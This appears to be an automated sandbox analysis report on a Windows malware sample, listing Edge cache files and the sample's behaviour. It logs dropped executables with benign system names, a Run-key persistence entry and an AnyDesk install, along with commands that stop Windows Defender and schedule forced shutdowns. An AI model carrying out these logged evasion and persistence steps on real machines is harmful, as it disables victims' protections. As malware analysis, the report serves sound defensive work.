Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3d49f14d5d581ae5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3d49f14d5d581ae5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4c7155fdcb357b2c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4c7155fdcb357b2c_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b421414fd4b6fbd6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b421414fd4b6fbd6_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ce9a2becd154cc0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ce9a2becd154cc0b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0e1587ceb49a87ad_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0e1587ceb49a87ad_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4086ead4c1270361_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\4086ead4c1270361_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\41ac4588896d4c6f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\41ac4588896d4c6f_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a0aa60a133aba17b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\a0aa60a133aba17b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2733b1fa30133dc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2733b1fa30133dc5_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f21968efea74be77_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f21968efea74be77_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d2f54c0a03740b6b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d2f54c0a03740b6b_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7defdd08c54c2768_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7defdd08c54c2768_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\889f2fc77179125a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\889f2fc77179125a_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9ec758fd90d44623_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9ec758fd90d44623_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f0ce427b28da7d25_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\34d467f947acad13_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\872b7b4f8bfb485b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\16fc15c7-5f50-401d-b907-22f4e80ce6af.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF60aff.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\f7a02825bf690a95_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\ed437f70-865b-45c9-9f8e-2be79bcd4f25.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF60d9f.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\d6c0abb3-e1ae-49e5-a323-fe466bff5f5a.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF60ded.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\65f701fc2d3b6d77_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\960aaafa77fbb8a0_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b849a2f19789767a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\67f1189172319be9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\e6504c209cb882d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\df9f3044c9ae2e2e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\3055e34b33d94a7f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ea6f02895a4e3500_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7c4863577c43b32f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\574b540795aeca12_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9edf5f432f2b01a8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2a15b98971354678_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\0a67355f432340b9_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b9dcc9f4c807eeaa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\321e64ecacb66619_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\153bba9a429a2c40_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2e08a9c6ec333021_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\39c763e560200cda_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\6dcb70bdb8fe40a3_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\7ed93a10144ac834_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\264b46d61d915def_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b7cd751a99c70c48_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\13e83bd1c1ab1541_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\8fdcb7992c9e741c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ff5222d57552b6c1_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\b87cf2f2b0511c4c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\dd1d9f7425e5aefb_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\348aae4f13c8f553_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\8cce886514f2b2ec_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\217bbc87393d2e57_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\8bfc77f05f6a3cc5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2a99e21c738e2a0b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\d6af3918ca46ca94_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\85f220494be669b7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\2bb582fd7577f97e_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\9f97c8dd99a7773d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\81521ed2-78ef-41a6-a276-0e337baaefa4\ed344a77138c223d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Drops PE files with benign system names

Source: C:\Intel\curl.exe

File created: C:\Intel\svchost.exe

Jump to dropped file

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\unins000.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\Trays.exe	Jump to dropped file
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	File created: C:\Intel\curl.exe	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\driver.exe	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\blat.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\ShellEh6055.dll	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\ShellEh6055x64.dll	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\dc.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\4t-min64.exe	Jump to dropped file
Source: C:\Intel\svchost.exe	File created: C:\Intel\AnyDesk\AnyDesk.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\7z.dll	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\delReg.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\Tray.dll	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\svchost.exe	Jump to dropped file

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\license.txt			Jump to behavior
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\readme.txt			Jump to behavior

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00

Source: C:\Intel\dc.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\WinDefend

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Video Configurations			Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Video Configurations			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Intel\svchost.exe	File opened: C:\Intel\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes \| delete
Source: C:\Intel\AnyDesk\AnyDesk.exe	File opened: C:\Intel\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Intel\curl.exe

Code function: 37_2_00A0B6D0 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

37_2_00A0B6D0

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
